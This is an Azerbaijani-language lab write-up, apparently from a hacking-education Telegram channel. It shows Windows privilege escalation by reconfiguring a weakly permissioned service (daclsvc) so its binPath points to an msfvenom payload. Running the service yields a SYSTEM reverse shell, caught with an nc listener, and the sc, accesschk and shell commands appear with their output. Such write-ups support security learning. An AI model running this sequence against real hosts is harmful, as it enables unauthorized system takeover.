Windows mühitində işləyərkən Zəif Konfiqurasiya Edilmiş Servisin Exploit Edilməsi necə həyata keçirilir?Windows-da Zəif Konfiqurasiya Edilmiş Servisin Exploit Edilməsi ilə PrivEsc necə həyata keçirilir?Zəif Konfiqurasiya Edilmiş Servisin Exploit Edilməsi nədir? Servislərin Exploit Edilməsi nədir? İnsecure Service Permissions (binpath)
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
Windows servislərinin Exploit edilməsi
Windows əməliyyat sistemində yer alan servislər Linux ƏS-dəki deamon ilə eynidir.Onlar arxa fonda müəyyən tapşırıqları icra edir və bir çox hallarda System icazələri ilə işləyirlər.Yəni ən səlahiyyətli hesab ilə işlərini yerinə yetirirlər.
Servis haqqında məlumat əldə etmək
Servisləri exploit etməzdən əvvəl onların kəşfiyyatı aparılmalı və hansı zəiflik olacağını təyin etmək üçün servislər haqqında məlumat əldə etmək lazımdır.Aşağıdakı kommandalar ilə bunu yerinə yetirmək mümkündür:
*Servisin konfiqurasiyasına baxmaq üçün
C:\Users\user>sc qc daclsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: daclsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\DACL Service\daclservice.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DACL Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
--------------------------------------
*Servisin statusunu öyrənmək üçün
C:\Users\user>sc query daclsvc
SERVICE_NAME: daclsvc
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
------------------------------------
*Servisi dayandırmaq üçün
C:\Users\user>sc stop (service name)
------------------------------------
*Servisi başlatmaq üçün
C:\Users\user>sc start (service name)
------------------------------------
*Servisin parametrlərini redaktə etmək üçün
C:\Users\user>sc config (service name) (setting)=(yeni deyer)
Servis İcazələrinin Düzgün Quraşdırılmaması
Biz bu tapşırıqda icazələri düzgün verilməmiş servisləri axtaracayıq.Başqa sözlə deyə bilərikki, biz hədəf servisin parametrlərini dəyişə biləcəyimiz servis axtarırıq.Aşağıda iki əsas parametr icazəsi göstərilmişdirki, bizə servisi konfiqurasiyasını dəyişməyə icazə verir.
- SERVICE_CHANGE_CONFIG
- SERVICE_ALL_ACCESS
Əlbəttə siz avtomatlaşdırılmış skriptlərin köməyi ilədə zəif və düzgün icazələri təyin edilməmiş servisləri təyin edə bilərsiniz.Bu əməliyyatı gələcək paylaşımlarda görəcəyik, amma indi əsas məntiqini qavramağa çalışaq.
Məsələn: Avtomatlaşdırılmış skript sayəsində daclsvc servisinin icazələrinin düzgün verilmədiyini müəyyənləşdirmişdir.Yuxarıda öyrəndiyimiz kommandalar ilə daclsvc servisinin konfiqurası barəsində məlumat əldə edirik.
C:\Users\user>sc qc daclsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: daclsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\DACL Service\daclservice.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DACL Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Əldə olunan nəticədə iki əsas parametrə diqqətinizi yönləndirin.Birincisi BINARY_PATH_NAME parametri servisin icra olunan faylının yolunu göstərir. Məhz BINARY_PATH_NAME parametrinin yenidən təyin etməklə bizim zərərli proqramımızı işə salacayıq.İkincisi isə SERVICE_START_NAME ,bu parametrin dəyəri olan LocalSystem o deməkdirki, servis System hesabı səlahiyyətləri ilə icra olunur.
Daha sonra user istifadəçisi üçün mövcud icazələrini accesschk.exe alətinin köməyi ilə təyin edirik.
C:\Users\user> C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -accepteula
-wuvc daclsvc
Accesschk v6.10 - Reports effective permissions for securable objects
Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
daclsvc
Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW Everyone
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
Əla!Bizim hədəf servis olan daclsvc üzərində konfiqurasiyasını redaktə etmək, eləcədə servisi dayandırmaq və başlatmaq üçün icazələrimiz mövcuddur.
Diqqət yetirməki məqam odurki, servisi bizim başlatmaq və dayandırmaq icazəmiz olmalıdır.Yoxsa isə hədəf cihazın restart edilməsini gözləməliyikki, bizim etdiyimiz dəyişikliklər qüvvəyə minsin.
Hədəf cihaza MSFvenom aləti ilə shell.exe adlı zərərli proqram endirirəm və bunu servisin konfiqurasiyasında redaktə edirəm.
C:\Users\user\Desktop>sc config daclsvc binPath= "\"C:\Users\user\Desktop\shell.
exe\""
[SC] ChangeServiceConfig SUCCESS
Servisin konfiqurasiyası müvəfəqiyyətlə dəyişdirdikdən sonra artıq biz Kali cihazında listener yarada bilərik.Daha sonra servisi restart verdikdən sonra bizim Kali cihazında hədəfdən gələn System səlahiyyətli shell qarşılayır olacaqdır.
Windows cihazı -----
C:\Users\user\Desktop>sc stop daclsvc
[SC] ControlService FAILED 1062:
The service has not been started.
C:\Users\user\Desktop>sc start daclsvc
Kali cihazı ------
┌──(root㉿kali)-[~]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.9.3.67] from (UNKNOWN) [10.10.56.215] 49316
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Gördüyünüz kimi hədəf sevisin köməyi ilə bizim shell.exe icra edildi və bizə 4444 portundan əlaqə daxil oldu.
Tapşırıqda istifadə olunan Lab: https://tryhackme.com/room/windowsprivescarena 9-cu tapşırıq
Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat